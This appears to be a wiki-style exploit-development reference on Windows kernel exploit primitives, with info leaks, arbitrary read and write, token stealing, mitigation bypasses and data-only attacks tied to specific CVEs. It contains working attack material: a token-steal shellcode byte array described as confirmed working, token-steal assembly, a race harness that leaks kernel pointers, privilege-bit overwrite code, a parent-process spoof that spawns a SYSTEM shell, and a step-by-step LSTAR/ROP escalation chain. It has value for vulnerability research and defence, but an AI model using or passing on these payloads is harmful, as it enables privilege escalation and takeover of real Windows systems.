Kernel Exploit Primitives

Last updated: 2026-04-10
Related: Architecture, Pool Internals, Mitigations, Arbitrary Write
Tags: kernel-mode, aaw, aar, token-steal, ntoskrnl

Summary

A kernel exploit primitive is a building block — a controlled, reproducible capability derived from a vulnerability. The path from a crash to a stable LPE almost always follows: raw bug → read primitive → write primitive → token steal / shellcode execution. This page catalogs the standard kernel primitives, how they’re constructed, and their modern viability.


Primitive Taxonomy

Raw bug (crash / OOB / UAF / race)
        │
        ▼
  Info Leak (KASLR defeat)
        │
        ▼
  Read Primitive (AAR)  ←→  Write Primitive (AAW)
        │
        ▼
  Privilege Escalation
  ├── Token Steal (SYSTEM)
  ├── Shellcode Exec (if NX bypassed)
  └── DACL manipulation

Information Leak / KASLR Defeat

KASLR defeat is prerequisite to almost all modern kernel exploits on 64-bit Windows.

Technique 1: NtQuerySystemInformation

  • SystemModuleInformation (class 11): returns kernel module base addresses
  • Restricted in Win10+ for low-IL/sandboxed processes: requires SeDebugPrivilege or medium-IL
  • Still usable from medium-IL (most LPE scenarios start there)

Technique 2: NtQueryIntervalProfile

  • Historically leaked KeQueryIntervalProfile address; patched
  • Shows the pattern: many NtQuery* functions historically leaked kernel pointers

Technique 3: GDI/win32k leaks (pre-RS1)

  • GetMenuBarInfo, NtGdiGetServerMetaFileBits, bitmap functions returned unfiltered kernel pointers
  • Heavily patched since RS1 — GDI handle table deserialization no longer leaks kernel addresses in Win10+

Technique 4: GDI Palette / Bitmap leaks (pre-RS5)

  • Bitmap pvScan0 pointer — classic technique by using SetBitmapBits/GetBitmapBits
  • HMValidateHandle trick — leaked kernel address from handle table
  • All patched by Win10 1803

Technique 5: Timing/Side-channel

  • Derandomize KASLR via cache timing (Spectre-style) — theoretical, noisy
  • PML4 self-reference oracle on older processors

Technique 6: Pool Object Pointer Leaks

  • Objects returned by kernel API often contain kernel pointers (e.g., NtQueryObject)
  • Carefully auditing kernel API output for unfiltered pointers

Technique 7: Controlled Pool Overflow + Partial Overwrite

  • If adjacent object contains kernel pointer, read it after partial overwrite
  • Requires info about pool layout

Technique 8: I/O Ring IORING_OBJECT.RegBuffers Corruption (Win11)

Available on all Windows 11 systems. Requires a single controlled kernel write to bootstrap; provides unlimited AAR/AAW thereafter. First demonstrated in CVE-2024-30085 exploit chain (Alexandre Borges, ERS_07/08, 2026).

Key structures:

IORING_OBJECT+0xB0  RegBuffersCount  ← write 1
IORING_OBJECT+0xB8  RegBuffers       ← write ptr to fake_buffers_array in user-mode
fake_buffers_array[0] = ptr to fake IOP_MC_BUFFER_ENTRY
fake IOP_MC_BUFFER_ENTRY.Address = kernel target address
fake IOP_MC_BUFFER_ENTRY.Length  = transfer size

Bootstrap: Use ALPC ExtensionBuffer write (or any 16-byte kernel write) at IORING_OBJECT+0xB0 to set RegBuffersCount=1 and RegBuffers=fake_array.

Read from kernel (AAR): BuildIoRingWriteFile → kernel reads from RegBuffers[0]->Address → writes to output pipe → ReadFile on pipe server.

Write to kernel (AAW): WriteFile to input pipe → BuildIoRingReadFile → kernel reads from input pipe → writes to RegBuffers[0]->Address.

Note: Naming is from kernel’s file-handle perspective — counterintuitive from exploit perspective. PIPE_TYPE_BYTE mandatory (not PIPE_TYPE_MESSAGE).

Three version variants for Win11 21H2 / 22H2 / 23H2+. Use NtQuerySystemInformation(64) to find IORING_OBJECT kernel address from handle.

See Ioring for full structures and Cve 2024 30085 for exploit chain.

Technique 9: NtQueryInformationToken(TokenAccessInformation) TOCTOU — CVE-2025-53136

A TOCTOU race condition introduced by the October 2024 patch for CVE-2024-43511. Works from Low IL and AppContainer — the most sandboxed user-mode contexts on Windows. Primary target: Win11 24H2+ (post-NtQuerySystemInformation KASLR restriction).

Root cause: RtlSidHashInitialize() (called from the TokenAccessInformation path) stores TOKEN.UserAndGroups (a kernel pointer) into the user-supplied output buffer as a transient step. The caller overwrites this slot shortly after, but a narrow window exists where the kernel pointer is readable.

// Thread 1 — reader: spin looking for kernel address in output buffer
DWORD WINAPI ReaderThread(LPVOID param) {
    while (!leaked) {
        ULONG_PTR val = *(volatile ULONG_PTR*)((BYTE*)leakBuffer + TARGET_OFFSET);
        if (val > 0xffff000000000000ULL) {
            leaked = val;
        }
    }
    return 0;
}

// Thread 2 — syscall: repeatedly trigger the vulnerable path
DWORD WINAPI SyscallThread(LPVOID param) {
    while (!leaked) {
        NtQueryInformationToken(hToken, TokenAccessInformation,
                                leakBuffer, sizeof(leakBuffer), &returnLen);
    }
    return 0;
}

Output: leaked = TOKEN.UserAndGroups kernel address → pointer arithmetic gives TOKEN base → chain with AAW to write 0xFFFFFFFFFFFFFFFF to TOKEN.Privileges.Present+Enabled → LPE.

Reliability: Wide enough window that tight spinning succeeds “almost every time.” No synchronization primitives needed.

Prerequisites: Any token handle works — OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken).

See Cve 2025 53136 for full analysis.


Arbitrary Address Read (AAR)

Technique: Bitmap pvScan0 Read Primitive (Classic, pre-Win10 1803)

Using two bitmaps where one’s pvScan0 points to the target address:

// Setup: corrupt bitmap1.pvScan0 to point to target address
// Read: call GetBitmapBits(bitmap1, 8, buffer) → reads 8 bytes from target

Full read/write primitive established with two bitmaps. Patched in RS5.

Technique: Named Pipe Attribute Overwrite (Post-RS5)

  • Use NtSetInformationFile with FilePipeRemoteInformation to write controlled data to pool
  • Combine with info leak to craft read primitive targeting adjacent object

Technique: Palette/DC Object (Modern alternatives)

  • After RS5 bitmap primitive removal, researchers shifted to palette objects, DC objects, and Accelerator tables

Technique: PreviousMode Manipulation

  • If write primitive reaches _KTHREAD.PreviousMode at +0x232
  • Set to 0 (KernelMode) → NtReadVirtualMemory / NtWriteVirtualMemory work on kernel addresses
  • Full AAR/AAW via standard syscalls

Arbitrary Address Write (AAW)

Technique: Write-What-Where via Corrupted Object Dispatch

  1. Corrupt object’s vtable pointer or function pointer field
  2. Trigger method dispatch → control instruction pointer
  3. Use ROP to execute write gadget: mov [target], value ; ret

Technique: HalDispatchTable Overwrite (Legacy)

  • Overwrite HalDispatchTable[1] (pointer to HalQuerySystemInformation)
  • Trigger via NtQueryIntervalProfile → calls into HalDispatchTable
  • Patched/mitigated by HVCI on modern systems

Technique: PreviousMode Write Primitive (Modern, very powerful)

  • Set PreviousMode = 0NtWriteVirtualMemory now writes to kernel addresses
  • Effectively unrestricted AAW

Technique: WriteProcessMemory to Kernel (via PreviousMode)

Same as above but cleaner API surface.

Technique: FILE_DEVICE_SECURE_OPEN DACL Bypass (Device Driver Attack Surface)

When a kernel driver creates a device object without the FILE_DEVICE_SECURE_OPEN flag in its characteristics, the I/O manager enforces the device DACL only on direct opens of the device name. Any open with a trailing path component (child path) bypasses the DACL check entirely.

// Driver creates device WITHOUT FILE_DEVICE_SECURE_OPEN:
IoCreateDevice(DriverObject, ..., 0 /*no FILE_DEVICE_SECURE_OPEN*/, &DeviceObject);
// DACL on the device restricts to SYSTEM/Administrators

// Bypassed by any user via child path:
CreateFileW(L"\\??\\DeviceName\\anything", GENERIC_READ | GENERIC_WRITE, ...);
// "anything" is arbitrary — all requests route to the device handler anyway

Why this works: The I/O manager only performs DACL checks on the device object itself when opening directly. Child path opens are forwarded to the driver’s IRP_MJ_CREATE handler without DACL enforcement, because FILE_DEVICE_SECURE_OPEN is not set to extend DACL checks to relative opens.

Real-world example: CVE-2024-26170 (cimfs.sys) — \Device\cimfs\control had System/Admin-only DACL but no FILE_DEVICE_SECURE_OPEN. Any user could reach the IOCTL interface via \\??\\CimfsControl\\anything. See Cve 2024 26170.

Detection: Review all IoCreateDevice calls in a driver; if Characteristics does not include FILE_DEVICE_SECURE_OPEN (0x100) but the device has a restrictive DACL, the DACL is bypassable.

// Correct pattern:
IoCreateDevice(DriverObject, ...,
               FILE_DEVICE_SECURE_OPEN,  // 0x100
               &DeviceObject);

Technique: Pipe Attribute AAR/AAW (Windows 11 — CVE-2023-28252)

Used when PreviousMode path is unreliable or version-specific. Corrupts a PIPE_ATTRIBUTE structure’s linked-list pointer via a single-byte increment primitive:

NtFsControlFile(pipe_handle, FSCTL_PIPE_GET_HANDLE_ATTRIBUTE, ...)
  → kernel reads from pipe attribute → attacker-controlled pointer → AAR

NtFsControlFile(pipe_handle, FSCTL_PIPE_SET_HANDLE_ATTRIBUTE, ...)
  → kernel writes to pipe attribute → attacker-controlled pointer → AAW

Why this matters: Documented in the Nokoyawa/CVE-2023-28252 in-the-wild exploit as the Win11 AAR/AAW path. Shows named pipe objects serve double duty — both as grooming objects AND as a post-corruption AAR/AAW primitive. See Cve 2023 28252.

Technique: NtAlpcSendWaitReceivePort ExtensionBuffer AAW (CVE-2024-30085)

Used when _KALPC_RESERVE and _KALPC_MESSAGE pointers can be forged:

struct _KALPC_RESERVE {
    struct _ALPC_PORT*         OwnerPort;    //0x0
    struct _ALPC_HANDLE_TABLE* HandleTable;  //0x8
    VOID*                      Handle;       //0x10
    struct _KALPC_MESSAGE*     Message;      //0x18
    ULONGLONG                  Size;         //0x20
    LONG                       Active;       //0x28
};

struct _KALPC_MESSAGE {
    // ... many fields ...
    VOID*     ExtensionBuffer;      //0xe0  ← write target
    ULONGLONG ExtensionBufferSize;  //0xe8  ← write size
    // ...
};

Attack:

  1. Use pool overflow to overwrite a _KALPC_RESERVE pointer in the ALPC handle table with pointer to fake reserve in userland.
  2. Fake reserve points to fake _KALPC_MESSAGE (also in userland) with:
    • ExtensionBuffer = target kernel address (e.g., token+0x40 for privilege bits)
    • ExtensionBufferSize = write size (e.g., 0x10)
  3. Call NtAlpcSendWaitReceivePort(port, ALPC_MSGFLG_NONE, alpcMessage, ...).
  4. Kernel writes alpcMessage->data[0..ExtensionBufferSize] into ExtensionBuffer → arbitrary kernel write.

Payload: Set alpcMessage->data = [0xFFFF..., 0xFFFF...] → overwrites token Present+Enabled privilege bitmaps with all-ones → enables all privileges.

SMAP note: Windows does not enable SMAP — kernel can freely dereference userland pointers like ExtensionBuffer pointing to fakeobj in user VA space.

Prerequisites: Must have corrupted a _KALPC_RESERVE pointer. Typically done via a pool overflow into an _ALPC_HANDLE_TABLE (see Heap Grooming — ALPC handle table spray pattern).

See Cve 2024 30085 for complete flow.


Technique: NtQueryInformationToken(TokenBnoIsolation) AAR

When _TOKEN.BnoIsolationHandlesEntry can be forged:

// Set via corrupted _WNF_STATE_DATA relative write or pool overflow:
token->BnoIsolationHandlesEntry = &fakeEntry;  // userland pointer
fakeEntry.EntryDescriptor.IsolationPrefix.Buffer = targetKernelAddr;
fakeEntry.EntryDescriptor.IsolationPrefix.MaximumLength = readSize;

// Trigger read:
NtQueryInformationToken(hToken, TokenBnoIsolation, &output, sizeof(output), &retlen);
// output+16 contains readSize bytes from targetKernelAddr

Prerequisites: Must be able to write to _TOKEN.BnoIsolationHandlesEntry. In CVE-2021-31969, this is done via WNF relative write → TOKEN field overwrite.

Technique: NtSetInformationToken(TokenDefaultDacl) AAW → PreviousMode

Exploits SepAppendDefaultDacl for a constrained write:

// SepAppendDefaultDacl:
memmove(&Token->DynamicPart[*(BYTE*)(Token->PrimaryGroup + 1) + 2],
        UserBuffer, UserBuffer[1]);  // UserBuffer = fake ACL

// Craft:
// DynamicPart = PrimaryGroup = _KTHREAD + 0x229
// PrimaryGroup+1 → 0x00 (null byte in KTHREAD)
// Writes fake ACL at DynamicPart[0+2] → offset 0x8 into DynamicPart
// ACL Sbz1 field = 0x00 → overwrites PreviousMode at KTHREAD+0x2b1

ACL constraints: AclRevision must be 2–4; AceCount = 0.
Side effect: Thread BasePriority set to 0x8 (THREAD_PRIORITY_BELOW_NORMAL).
Result: PreviousMode = 0 → kernel-mode context → NtReadVirtualMemory/NtWriteVirtualMemory now accept kernel addresses.

See Cve 2021 31969 for complete implementation.


Technique: Modifying Token Privileges Directly (via AAW)

Instead of replacing token pointer, use AAW to modify _SEP_TOKEN_PRIVILEGES within existing token:

ULONG64 privAddr = tokenAddr + SEP_TOKEN_PRIVILEGES_OFFSET;
// Set Present, Enabled, EnabledByDefault to all-ones
Write64(privAddr + 0x00, 0xFFFFFFFFFFFFFFFF);  // Present
Write64(privAddr + 0x08, 0xFFFFFFFFFFFFFFFF);  // Enabled
Write64(privAddr + 0x10, 0xFFFFFFFFFFFFFFFF);  // EnabledByDefault

Token Stealing

The classic kernel LPE payload: replace current process’s token with SYSTEM process token.

Classic Token Steal (Shellcode / ROP payload)

; x64 token steal shellcode
xor rax, rax
mov rax, gs:[0x188]         ; _KPCR.Prcb.CurrentThread (_KTHREAD*)
mov rax, [rax + 0x220]      ; KTHREAD.ApcState.Process (_KPROCESS*)
mov rbx, rax                ; save current process

find_system:
    mov rax, [rax + 0x448]  ; EPROCESS.ActiveProcessLinks.Flink
    sub rax, 0x448
    mov rcx, [rax + 0x440]  ; EPROCESS.UniqueProcessId
    cmp rcx, 4              ; PID 4 = SYSTEM
    jnz find_system

mov rcx, [rax + 0x4b8]      ; EPROCESS.Token
and cl, 0xf0                ; mask reference count bits
mov [rbx + 0x4b8], rcx      ; overwrite current process token
ret

Offsets vary by Windows build — always verify in target kernel.

Win10 22H2 (10.0.19045) — Confirmed Offsets and Traversal Path

The following uses the alternative traversal path from GS:[0x180]_KPRCB:

// GS offsets
GS[0x180]  _KPRCB
// _KPRCB offsets
KPRCB + 0x08  CurrentThread (_KTHREAD*)
// _KTHREAD offsets
KTHREAD + 0x98  ApcState (_KAPC_STATE)
// _KAPC_STATE offsets  
ApcState + 0x20  Process  so KTHREAD + 0xB8  CurrentProcess (_EPROCESS*)
// _EPROCESS offsets (Win10 22H2)
EPROCESS + 0x440  UniqueProcessId
EPROCESS + 0x448  ActiveProcessLinks (LIST_ENTRY)
EPROCESS + 0x4B8  Token (_EX_FAST_REF)

Full 55-byte shellcode (assembled, confirmed working on Win10 22H2):

// TokenSteal.asm bytes
unsigned char shellcode[] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rdx, gs:[0x188] → KTHREAD
    0x4c, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,              // mov r8, [rdx+0xB8] → CurrentProcess
    0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00,              // mov rcx, [r8+0x448] → ActiveProcessLinks
    // loop: walk list
    0x48, 0x8b, 0x51, 0xf8,                                 // mov rdx, [rcx-8] → UniqueProcessId
    0x48, 0x83, 0xfa, 0x04,                                 // cmp rdx, 4
    0x74, 0x05,                                             // jz found_system
    0x48, 0x8b, 0x09,                                       // mov rcx, [rcx] → next Flink
    0xeb, 0xf1,                                             // jmp loop
    // found_system:
    0x48, 0x8b, 0x41, 0x70,                                 // mov rax, [rcx+0x70] → Token (relative to APL)
    0x24, 0xf0,                                             // and al, 0xF0 → mask RefCnt
    0x49, 0x89, 0x80, 0xb8, 0x04, 0x00, 0x00,              // mov [r8+0x4B8], rax → overwrite token
    0x4d, 0x31, 0xed,                                       // xor r13, r13 → clear r13
    0xc3                                                    // ret
};

Important: the and al, 0xF0 form masks only the low byte — zero bits 3:0 (the _EX_FAST_REF reference count). The upper bits of RAX contain the actual token pointer shifted. This works correctly because _EX_FAST_REF stores the pointer in bits 63:4.

Kernel State Restoration (Anti-KPP)

After the shellcode executes and the exploit overwrites kernel structures (PML4E, HalDispatchTable+0x8, etc.), KPP/PatchGuard will eventually detect the modifications and trigger KERNEL_SECURITY_CHECK_FAILURE (bugcheck 0x139). Always restore overwritten kernel values:

// Restore shellcode PML4E (original value saved before modification)
ArbitraryWrite(hDevice, pml4EntryVA, &origPml4Entry);

// Restore HalDispatchTable+0x8 (original value saved before overwrite)
ArbitraryWrite(hDevice, halDispatchTable8VA, &origHDT8);

Restoration order: restore PML4E first (before HalDispatchTable, as next call to NtQueryIntervalProfile would otherwise trigger modified shellcode again), then HalDispatchTable.

Token Steal via AAW (no shellcode needed)

  1. Read GS:[0x188] → current KTHREAD (via NtQuerySystemInformation or read primitive)
  2. Walk EPROCESS.ActiveProcessLinks to find System (PID=4)
  3. Read System.Token
  4. Write to CurrentProcess.Token via AAW

DACL Manipulation Alternative

Instead of token swap, modify the DACL of a privileged resource (service executable, SCM named pipe) to grant access — leaves less forensic evidence than token swap.


LSTAR Overwrite (MSR-Based Code Execution)

Primitive: Overwrite the LSTAR MSR (0xC0000082) with a kernel-space address. The next syscall instruction executed on the same CPU core will jump to that address in ring 0.

Source: A driver that exposes wrmsr via IOCTL without access control (BYOVD vulnerability class). The IOCTL passes MsrIndex and Value directly to the wrmsr instruction.

LSTAR is core-scoped: the LSTAR MSR is per-physical-core (shared by hyperthreads on the same core). To exploit reliably:

  • Pin thread affinity to one core (SetThreadAffinityMask / driver KeSetSystemAffinityThreadEx)
  • Set process/thread priority to Highest to minimize interruption during the exploit window
  • Restore LSTAR immediately as first instruction in shellcode — before any context switch fires another syscall

MSR restore in shellcode (using wrmsr again):

mov ecx, 0xC0000082              ; LSTAR MSR index
mov edx, HIGH_32(KiSystemCall64Shadow)  ; high 32 bits
mov eax, LOW_32(KiSystemCall64Shadow)   ; low 32 bits
wrmsr                            ; restore immediately on shellcode entry

KiSystemCall64Shadow address: obtain by resolving the export from ntoskrnl.exe (or NtQuerySystemInformation(SystemModuleInformation) for base + known offset).

Interaction with other mitigations:

MitigationImpact on LSTAR exploitBypass
SMEPBlocks execution of user shellcode from ring 0CR4 gadget: mov cr4, rax (bit 20/21 clear); or use kernel-space shellcode only
SMAPBlocks kernel accessing user-mode RSP during ROPSet RFLAGS AC bit (bit 18) from user mode before syscall
KVA Shadow (KPTI)First gadget must be in KVASCODE onlyDisabled for Admin processes; or use KVASCODE-constrained gadget set
KPPMonitors LSTAR — detects corruptionRestore LSTAR as very first shellcode instruction
HVCICR4 modification blocked by secure kernelCannot disable SMEP; must use kernel-space ROP only or KVASCODE trampoline

Full exploit flow (Admin → SYSTEM, KPTI disabled):

1. WRMSR IOCTL → LSTAR = &gadget1 (swapgs; iretq)
2. Prepare ROP stack:
   - RFLAGS with AC=1 (disable SMAP) pushed via popfq
   - IRETQ frame: [gadget2_addr][CS=0x10][RFLAGS][RSP][SS=0x18]
3. Execute inline syscall → ring 0 → gadget1 (swapgs; iretq)
4. gadget2: mov cr4, rax (CR4 with bits 20/21=0, SMEP off) → shellcode
5. Shellcode:
   a. wrmsr to restore LSTAR immediately
   b. Token steal (walk EPROCESS ActiveProcessLinks)
   c. Restore CR4 (re-enable SMEP) via same CR4 gadget
   d. Restore RSP to user frame, RCX = return addr, R11 = original RFLAGS
   e. swapgs; sysret → back to user-mode main()

See Mitigations §BYOVD Vulnerability Class: Unrestricted WRMSR and §KVA Shadow for bypass details.
See Rop §IRETQ Kernel Entry Frame for stack layout code.


Shellcode Execution (Kernel)

SMEP Bypass Required (x64)

SMEP prevents execution of user-mode pages from kernel context. Options:

  1. Disable SMEP via CR4: flip bit 20 of CR4; requires gadget mov cr4, rax ; ret. Mitigated by HVCI.
  2. ROP entirely in kernel: no user-mode shellcode; pure kernel ROP chain
  3. SMEP page-fault bypass: early SMEP bypass using fault handler trick (very old, patched)
  4. Pivot to kernel-mode shellcode: allocate shellcode in kernel space (need AAW to place it)

HVCI Impact

HVCI (Hypervisor Protected Code Integrity) enforces that only signed code executes in kernel mode. This:

  • Kills shellcode injection entirely
  • Kills unsigned driver loading
  • Makes CR4/CR0 manipulation non-functional (hypervisor intercepts writes)
  • Forces data-only attacks: token swap, privilege bit flip, ACL modification

On HVCI-enabled systems (Win11 default): data-only exploitation is the required approach.


Data-Only Attacks (HVCI-Compatible)

Since HVCI prevents code execution, modern exploits target:

  1. Token privilege escalation: flip _SEP_TOKEN_PRIVILEGES.Enabled → gain SeDebugPrivilege, SeTcbPrivilege
  2. Process protection bypass: modify _EPROCESS.Protection (PS_PROTECTION) to remove RunAsLight/Light protection
  3. Handle elevation: manipulate handle table to grant access to privileged objects
  4. DACL modification: zero DACL on SYSTEM process → full access
  5. WinLogon token duplication (user-mode post-kernel): after gaining SeDebugPrivilege, open WinLogon → DuplicateTokenEx → create SYSTEM process

SeDebugPrivilege Enable + Parent-Process Spoof (CVE-2024-21338 Pattern)

When a kernel AAW primitive allows writing an 8-byte value, _SEP_TOKEN_PRIVILEGES can be updated directly to enable SeDebugPrivilege (bit 20 = 0x100000) without a full token swap. Only two writes are needed — one to Present (+0x00 relative to _SEP_TOKEN_PRIVILEGES base) and one to Enabled (+0x08):

// _SEP_TOKEN_PRIVILEGES at kTokenAddr + OFFSET_PRIVILEGES (0x40 in _TOKEN)
// Write 0x100000 to Present field (kTokenAddr+0x40)
// Write 0x100000 to Enabled field (kTokenAddr+0x48)
// SeDebugPrivilege = bit 20; VirtualAlloc at 0x100000 yields exactly 0x100000 as the pointer value

After enabling SeDebugPrivilege, spawn a SYSTEM-level process via parent-process attribute spoofing (no DuplicateTokenEx needed):

// Open winlogon.exe (requires SeDebugPrivilege — now enabled)
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPidByName(L"winlogon.exe"));

// Spawn child with winlogon as parent → inherits SYSTEM token
STARTUPINFOEXA si = { .StartupInfo.cb = sizeof(STARTUPINFOEXA) };
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinLogon, sizeof(HANDLE), NULL, NULL);
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL,
    (LPSTARTUPINFOA)&si, &pi);

Advantage over classic token steal: No kernel state to restore; privilege bits persist harmlessly (LocalService token gains SeDebugPrivilege, which has no adverse systemic effect). No need for unlimited kernel R/W — two targeted 8-byte writes suffice.

Trick for write value: A VirtualAlloc((VOID*)0x100000, ...) allocation at hint address 0x100000 returns a pointer whose 64-bit value is 0x0000000000100000 — exactly the SeDebugPrivilege bitmask. The same value serves for PreviousMode overwrite (low byte = 0x00 = KernelMode). Page-aligned pointers (multiples of 0x1000) always have low 12 bits = 0; allocating at a fixed base address makes the full 64-bit value predictable and meaningful as a payload.

See Cve 2024 21338 for the complete exploit.


Technique: SeDebugPrivilege LUID Modification (CVE-2024-30090)

An arbitrary increment primitive targeting nt!SeDebugPrivilege — a global LUID in ntoskrnl’s writable .data section.

Concept: NtOpenProcess calls SeSinglePrivilegeCheck(nt!SeDebugPrivilege, ...). This reads the LUID value (default: 0x14) and checks whether the current token has bit 0x14 set in Privileges.Enable. If we change nt!SeDebugPrivilege.LowPart from 0x14 to 0x17 (SeChangeNotifyPrivilege), then NtOpenProcess checks bit 0x17 instead — which all users have by default.

nt!SeDebugPrivilege (writable .data):
  Default: LowPart = 0x14 (SeDebugPrivilege)
  Target:  LowPart = 0x17 (SeChangeNotifyPrivilege — enabled for everyone)

Increment 0x14 → 0x17: 3 increments to the low byte

Result: Any user can call OpenProcess(PROCESS_ALL_ACCESS, winlogon_pid) because the LUID check resolves to SeChangeNotifyPrivilege (which they have), granting full process access.

Why this beats token privilege bit flipping:

  • Token privilege flipping (0 → 1) via increment needs 0x10 increments × 2 fields = 32 race wins for SeDebugPrivilege → low stability
  • SeDebugPrivilege LUID: only 3 increments needed, non-zero source (no KsQueueWorkItem zero-value BSoD issue)

Other useful LUID targets:

SeChangeNotifyPrivilege  = 0x17  ← target (everyone has this)
SeDebugPrivilege         = 0x14  ← default
SeTcbPrivilege           = 0x07
SeTakeOwnershipPrivilege = 0x09
SeLoadDriverPrivilege    = 0x0a

See Cve 2024 30090 for full exploit chain.

Technique: Arbitrary Physical Memory Write via Uninitialized MDL PFN (CVE-2024-38238)

When IoAllocateMdl is called on NonPagedPoolNx with POOL_FLAG_UNINITIALIZED, the PFN array at the end of the MDL struct contains stale pool data. If MmMapLockedPagesSpecifyCache is called on this unlocked MDL, it uses the stale PFNs to map virtual addresses to arbitrary physical pages.

Pool spray setup: Use named pipes to populate NonPagedPoolNx at the exact size of the MDL before triggering IoAllocateMdl. The PFN array then contains attacker-controlled values pointing to target physical pages.

Physical address predictability: On Windows 24H2 (tested on Hyper-V + VMware), ntoskrnl.exe physical base is frequently at 0x100400000. This provides a stable write target for physical memory write primitives.

Controlled-data via buffered mode: Use KSSTREAM_HEADER_OPTIONSF_BUFFEREDTRANSFER to write through an intermediate kernel buffer — giving control over what data is written to the physical target (device-sourced data copied via intermediate buffer into attacker-chosen physical location).

EoP target: Overwrite PsOpenProcess security check code — replace SeDebugPrivilege check with SeChangeNotifyPrivilege check (same technique as CVE-2024-30090 EoP, applied as a physical code patch).

See Cve 2024 38238 for full exploit chain.


Exploit Relevance

  • PreviousMode manipulation is currently the most reliable AAR/AAW primitive when you can reach _KTHREAD
  • Token steal (classic shellcode) only viable without HVCI; use data-only path for modern targets
  • Info leak is the hardest part of a modern kernel exploit on Win11 — invest time here
  • LFH grooming (post-20H1) is the dominant pool exploitation strategy
  • SeDebugPrivilege LUID modification is a clean single-target technique requiring only an increment primitive
  • Physical memory write (uninitialized MDL PFN) bypasses HVCI for code modification on targets with predictable physical layout

References

  • “Token Stealing Payloads” — j00ru (various)
  • “SMEP: What is it, and how to beat it on Windows” — Nils Sommer
  • “From Pool Corruption to SYSTEM” — nettitude blog
  • “Data Only Attacks on Windows” — Dominic Chell
  • “Windows KASLR Bypass” — Enrico Perla
  • CVE-2021-31956 (NTFS pool overflow) — analysis by Boris Larin (Kaspersky)